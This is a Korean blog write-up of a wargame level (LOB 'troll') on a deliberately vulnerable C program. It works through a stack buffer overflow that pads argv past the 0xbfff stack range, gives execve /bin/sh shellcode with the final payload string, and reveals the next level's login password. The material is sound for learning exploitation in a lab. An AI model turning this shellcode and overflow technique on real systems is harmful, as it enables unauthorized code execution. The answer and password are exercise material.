DongDD's IT

[LOB] Level9 troll 본문

Wargame/LOB

[LOB] Level9 troll

DongDD 2018. 1. 21. 15:54

[LOB] Level9 troll


Problem



이번 문제에서도 vampire 실행 파일 하나와 vampire.c 소스 코드 파일이 있었다.

소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
        char buffer[40];
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // here is changed!
        if(argv[1][46== '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
 
cs


buffer의 size는 40 bytes이고 if(argc == 2) 였던 전 문제에서 다시 if(argc < 2)로 바뀌어있었다.

argv[1]의 48번째 글자가 "\xbf"여야하고 새로 추가된 부분으로는 argv[1]의 47번째 글자가 "\xff"가 아니여야 한다는 것이다.

그 후에 strcpy()를 통해 argv[1]을 buffer에 복사해준다. 저번 문제들에서는 buffer를 초기화하거나 argv[1]를 초기화했었는데 이번 문제에는 그것들이 사라지고 "\xff"를 확인하는 조건만 추가되었다.

return address의 시작 주소가 "\xbf"여야 한다는 점에서는 stack에 있는 값을 사용해야 된다는 사실은 그대로 인것 같았다.



Solution


1. argv[1]에 Shell code 이용



argv들은 ebp보다 낮은 주소에 저장이 되는 것을 이용했다.

argv의 값을 매우 크게 해서 bfff로 시작하는 모든 주소를 덮고 bffe로 시작하는 주소에 값이 들어갈 때 까지 dummy로 채웠다.

처음에는 10000 bytes를 입력했지만 모자라서 100000 bytes를 넣으니 bffe로 시작하는 주소에 data가 들어가는 것을 볼 수 있었다.



argv[1]에 shell code와 dummy로 44 bytes로 채우고 return address를 shell code가 위치한 주소로 정하고 나머지 100000을 채울 99952(100000-48)만큼의 dummy값을 넣었다.

shell code가 들어간 위치를 확인해보았다.

0xbffe7611부터 shell code가 저장되어 있는 것을 볼 수 있었다.

이 것을 이용해 payload를 작성했다.


argv[1] shell code 저장 주소 : 0xbffe7611


사용한 Shell code(24 bytes) :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


Payload = Shell code(24 bytes) + dummy(20 bytes) + return address(shell code의 시작 주소) + dummy(99952 bytes)


위에서 작성한 Payload로 aampire 파일을 실행해보았다.



위에서 작성한 Payload로 실행했을 때 segmentation fault가 뜨는 것을 볼 수 있었다.

core파일을 통해 gdb해보았을 때 shell code가 들어가있는 주소가 다른 것을 볼 수 있었다.


argv[1] shell code 저장 주소 : 0xbffe74a0


위 payload에서 return address의 주소만 바꿔주니 문제를 해결할 수 있었다.






**************     Answer & Flag     **************


1. argv[1]에 Shell code 이용


Payload = Shell code(24 bytes) + dummy(20 bytes) + return address(shell code의 시작 주소) + dummy(99952 bytes)


argv[1] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"A"*20 + "\xa0\x74\xfe\xbf" + "A"*99952



Next ID : vampire

Next PW : music 


'Wargame > LOB' 카테고리의 다른 글

[LOB] Level11 skeleton  (0) 2018.01.24
[LOB] Level10 vampire  (0) 2018.01.21
[LOB] Level8 orge  (0) 2018.01.20
[LOB] Level7 darkelf  (0) 2018.01.19
[LOB] Level6 wolfman  (0) 2018.01.19
Comments